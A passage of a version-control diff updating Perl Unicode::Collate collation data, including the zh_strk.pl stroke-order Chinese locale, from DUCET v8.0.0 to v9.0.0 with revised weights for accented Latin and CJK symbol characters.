+33E0      ; [.1C3E.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
+32C0      ; [.1C3E.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JANUARY
+3359      ; [.1C3E.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
+33F3      ; [.1C3F.0020.0004][.1C3D.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
+336C      ; [.1C3F.0020.0004][.1C3D.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
+33F4      ; [.1C3F.0020.0004][.1C3E.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
+336D      ; [.1C3F.0020.0004][.1C3E.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
+33F5      ; [.1C3F.0020.0004][.1C3F.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
+336E      ; [.1C3F.0020.0004][.1C3F.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
+33F6      ; [.1C3F.0020.0004][.1C40.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
+336F      ; [.1C3F.0020.0004][.1C40.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
+33F7      ; [.1C3F.0020.0004][.1C41.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
+3370      ; [.1C3F.0020.0004][.1C41.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
+33F8      ; [.1C3F.0020.0004][.1C42.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
+33F9      ; [.1C3F.0020.0004][.1C43.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
+33FA      ; [.1C3F.0020.0004][.1C44.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
+33FB      ; [.1C3F.0020.0004][.1C45.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
+33FC      ; [.1C3F.0020.0004][.1C46.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
+33E1      ; [.1C3F.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
+32C1      ; [.1C3F.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
+335A      ; [.1C3F.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
+33FD      ; [.1C40.0020.0004][.1C3D.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
+33FE      ; [.1C40.0020.0004][.1C3E.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
+33E2      ; [.1C40.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
+32C2      ; [.1C40.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
+335B      ; [.1C40.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
+33E3      ; [.1C41.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
+32C3      ; [.1C41.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR APRIL
+335C      ; [.1C41.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
+33E4      ; [.1C42.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
+32C4      ; [.1C42.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MAY
+335D      ; [.1C42.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
+33E5      ; [.1C43.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
+32C5      ; [.1C43.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JUNE
+335E      ; [.1C43.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
+33E6      ; [.1C44.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
+32C6      ; [.1C44.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR JULY
+335F      ; [.1C44.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
+33E7      ; [.1C45.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
+32C7      ; [.1C45.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR AUGUST
+3360      ; [.1C45.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
+33E8      ; [.1C46.0020.0004][.B272.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
+32C8      ; [.1C46.0020.0004][.CA96.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR SEPTEMBER
+3361      ; [.1C46.0020.0004][.8B60.0020.0004] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
+1F241     ; [*0379.0020.0004][.B35F.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E09
+1F242     ; [*0379.0020.0004][.8E0E.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-4E8C
+1F247     ; [*0379.0020.0004][.B548.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-52DD
+1F243     ; [*0379.0020.0004][.8049.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-5B89
+1F245     ; [*0379.0020.0004][.89A6.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6253
+1F248     ; [*0379.0020.0004][.811B.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
+1F240     ; [*0379.0020.0004][.81FC.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C
+1F244     ; [*0379.0020.0004][.8B60.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-70B9
+1F246     ; [*0379.0020.0004][.8A91.0020.0004][*037A.0020.0004] # TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-76D7
 2F00      ; [.C5CF.0020.0004] # KANGXI RADICAL ONE
 3192      ; [.C5CF.0020.0014] # IDEOGRAPHIC ANNOTATION ONE MARK
 3280      ; [.C5CF.0020.0006] # CIRCLED IDEOGRAPH ONE

Modified: vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_strk.pl
===================================================================
--- vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_strk.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Unicode-Collate/Collate/Locale/zh_strk.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,214 +1,214 @@
 use Unicode::Collate::CJK::Stroke;
 +{
-   locale_version => 1.19,
+   locale_version => 1.25,
    overrideCJK => \&Unicode::Collate::CJK::Stroke::weightStroke,
-   entry => <<'ENTRY', # for DUCET v8.0.0
-0101      ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0061 0304 ; [.1BC2.001C.0002] # LATIN SMALL LETTER A WITH MACRON
-0100      ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-0041 0304 ; [.1BC2.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
-00E1      ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0301 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-0061 0341 ; [.1BC2.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
-00C1      ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0301 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-0041 0341 ; [.1BC2.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
-01CE      ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-0061 030C ; [.1BC2.001E.0002] # LATIN SMALL LETTER A WITH CARON
-01CD      ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-0041 030C ; [.1BC2.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
-00E0      ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0300 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-0061 0340 ; [.1BC2.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
-00C0      ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0300 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0041 0340 ; [.1BC2.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
-0113      ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0065 0304 ; [.1C25.001C.0002] # LATIN SMALL LETTER E WITH MACRON
-0112      ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-0045 0304 ; [.1C25.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
-00E9      ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0301 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-0065 0341 ; [.1C25.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
-00C9      ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0301 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-0045 0341 ; [.1C25.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
-011B      ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-0065 030C ; [.1C25.001E.0002] # LATIN SMALL LETTER E WITH CARON
-011A      ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-0045 030C ; [.1C25.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
-00E8      ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0300 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-0065 0340 ; [.1C25.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
-00C8      ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0300 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-0045 0340 ; [.1C25.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
-00EA 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-00CA 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
-0065 0302 0304 ; [.1C25.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-0045 0302 0304 ; [.1C25.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
-1EBF      ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0301 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-0065 0302 0341 ; [.1C25.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
-1EBE      ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0301 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-0045 0302 0341 ; [.1C25.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
-00EA 0301 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00EA 0341 ; [.1C25.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00CA 0301 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
-00CA 0341 ; [.1C25.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
-00EA 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-00CA 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
-0065 0302 030C ; [.1C25.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-0045 0302 030C ; [.1C25.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
-1EC1      ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0300 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-0065 0302 0340 ; [.1C25.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
-1EC0      ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0300 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-0045 0302 0340 ; [.1C25.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
-00EA 0300 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00EA 0340 ; [.1C25.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00CA 0300 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00CA 0340 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00EA      ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC5      ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-012B      ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-012A      ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-00ED      ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-01D0      ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-01CF      ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-00EC      ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-00CC      ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-006D 0304 ; [.1D25.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
-004D 0304 ; [.1D25.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
-1E3F      ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-1E3E      ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-006D 030C ; [.1D25.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
-004D 030C ; [.1D25.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
-006D 0300 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
-006D 0340 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
-004D 0300 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
-004D 0340 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
-006E 0304 ; [.1D34.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
-004E 0304 ; [.1D34.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
-0144      ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143      ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-0148      ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-0147      ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-01F9      ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-01F8      ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-014D      ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-014C      ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-00F3      ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-01D2      ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-01D1      ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-00F2      ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-00D2      ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-016B      ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-00FA      ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-01D4      ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-01D3      ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-00F9      ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-00D9      ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-01D6      ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-00FC 0304 ; [.1E30.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
-00DC 0304 ; [.1E30.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
-01D8      ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-00FC 0301 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00FC 0341 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-00DC 0301 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00DC 0341 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-01DA      ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-00FC 030C ; [.1E30.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
-00DC 030C ; [.1E30.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
-01DC      ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-00FC 0300 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00FC 0340 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00DC 0300 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00DC 0340 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00FC      ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0101      ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0100      ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+00E1      ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
